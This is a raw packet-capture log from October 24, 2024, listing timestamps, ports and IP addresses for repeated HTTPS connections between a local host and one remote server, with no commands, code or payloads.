Oct 24, 2024 08:51:33.446670055 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.446696997 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.446702003 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.454498053 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.454525948 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.454606056 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.454773903 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.454783916 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.466743946 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.466840029 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.466927052 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.469018936 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.469032049 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.469044924 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.469049931 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.472649097 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.472686052 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.472781897 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.473014116 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.473026037 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.476937056 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.476954937 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.477049112 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.477060080 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.477112055 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.477112055 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.477200031 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.477210045 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.477221966 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.477226973 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.477247000 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.477251053 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.484673977 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.484684944 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.484757900 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.484950066 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.484991074 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.485038042 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.485563993 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.485572100 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.485685110 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.485696077 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.489866018 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.491158009 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.491180897 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.491661072 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.491668940 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.622092962 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.622189045 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.622281075 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.675935030 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.675935984 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.675995111 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.676024914 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.710656881 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.710757971 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.710850000 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.711200953 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.711236954 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.180372953 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.181113958 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.181128025 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.181644917 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.181652069 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.204966068 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.205686092 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.205719948 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.206265926 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.206279993 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.249862909 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.250703096 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.250725985 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.251193047 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.251322985 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.251329899 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.251493931 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.251523972 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.251895905 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.251902103 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.311126947 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.311207056 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.311372042 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.313720942 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.313739061 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.313751936 CEST	50009	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.313757896 CEST	443	50009	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.319235086 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.319284916 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.319416046 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.319679022 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.319688082 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.336031914 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.337806940 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.337929964 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.337975025 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.337992907 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.338005066 CEST	50010	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.338010073 CEST	443	50010	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.346000910 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.346046925 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.346137047 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.346354961 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.346365929 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.380877972 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.381036043 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.381148100 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.381650925 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.381701946 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.381733894 CEST	50011	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.381752014 CEST	443	50011	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.385660887 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.385765076 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.385854006 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.386004925 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.386027098 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.394963026 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.395039082 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.395104885 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.395132065 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.395159006 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.395245075 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.395386934 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.395401955 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.395415068 CEST	50012	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.395420074 CEST	443	50012	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.398562908 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.398607969 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.398685932 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.398894072 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.398910046 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.435508013 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.438863039 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.438903093 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.440090895 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.440104961 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.565205097 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.565282106 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.565402985 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.565612078 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.565612078 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.565844059 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.565895081 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.565923929 CEST	50013	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.565941095 CEST	443	50013	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.569607019 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.569705963 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:34.569892883 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.570096016 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:34.570116043 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.065903902 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.066663980 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.066699028 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.067202091 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.067208052 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.079649925 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.080522060 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.080615997 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.080782890 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.080800056 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.122458935 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.124849081 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.124913931 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.125248909 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.125262976 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.132910013 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.133410931 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.133440971 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.133779049 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.133785963 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.203234911 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.203459024 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.203670025 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.207186937 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.207206011 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.207216978 CEST	50014	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.207221985 CEST	443	50014	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.217227936 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.217298031 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.217381001 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.217418909 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.217475891 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.223611116 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.223691940 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.223786116 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.223890066 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.223890066 CEST	50015	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.223937988 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.223967075 CEST	443	50015	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.224464893 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.224499941 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.226960897 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.227009058 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.227118015 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.227258921 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.227273941 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.257251024 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.257344007 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.257411957 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.257685900 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.257685900 CEST	50016	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.257715940 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.257728100 CEST	443	50016	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.260539055 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.260588884 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.260684967 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.260828972 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.260848999 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.262023926 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.270392895 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.270473003 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.270533085 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.270561934 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.270586967 CEST	50017	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.270600080 CEST	443	50017	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.273163080 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.273200035 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.273274899 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.273420095 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.273433924 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.307760954 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.313724041 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.313755989 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.315047979 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.315061092 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.441778898 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.441962004 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.442054033 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.442425966 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.442425966 CEST	50018	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.442451954 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.442466021 CEST	443	50018	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.446515083 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.446549892 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.446654081 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.446822882 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.446832895 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.962819099 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.967870951 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.967910051 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.968055964 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.968067884 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.972054005 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.972440004 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.972465992 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:35.972826004 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:35.972832918 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.005857944 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.006187916 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.006576061 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.006601095 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.006635904 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.006658077 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.006946087 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.006952047 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.007195950 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.007200956 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.096689939 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.096725941 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.096777916 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.096955061 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.096992016 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.101068020 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.101068020 CEST	50019	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.101104021 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.101136923 CEST	443	50019	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.103909969 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.104083061 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.104162931 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.104760885 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.104785919 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.104795933 CEST	50020	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.104801893 CEST	443	50020	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.112025976 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.112106085 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.112214088 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.112387896 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.112411976 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.112665892 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.112705946 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.112790108 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.113012075 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.113027096 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.138031006 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.138084888 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.138212919 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.138354063 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.140171051 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.140171051 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.140743017 CEST	50022	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.140759945 CEST	443	50022	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.141237020 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.141410112 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.141509056 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.145117998 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.145134926 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.145153046 CEST	50021	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.145159006 CEST	443	50021	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.146817923 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.146895885 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.146997929 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.147150040 CEST	50026	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.147183895 CEST	443	50026	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.147727966 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.147773027 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.147856951 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.147934914 CEST	50027	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.147947073 CEST	443	50027	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.181540966 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.182029009 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.182048082 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.184745073 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.184750080 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.310631037 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.310872078 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.310947895 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.318454981 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.318475008 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.318486929 CEST	50023	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.318491936 CEST	443	50023	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.332775116 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.332813025 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.332890987 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.333374023 CEST	50028	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.333388090 CEST	443	50028	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.848762989 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.849478006 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.849497080 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.849906921 CEST	50025	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.849911928 CEST	443	50025	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.854386091 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.854764938 CEST	50024	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:36.854806900 CEST	443	50024	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:36.856905937 CEST	50024	443	192.168.2.4	13.107.246.60
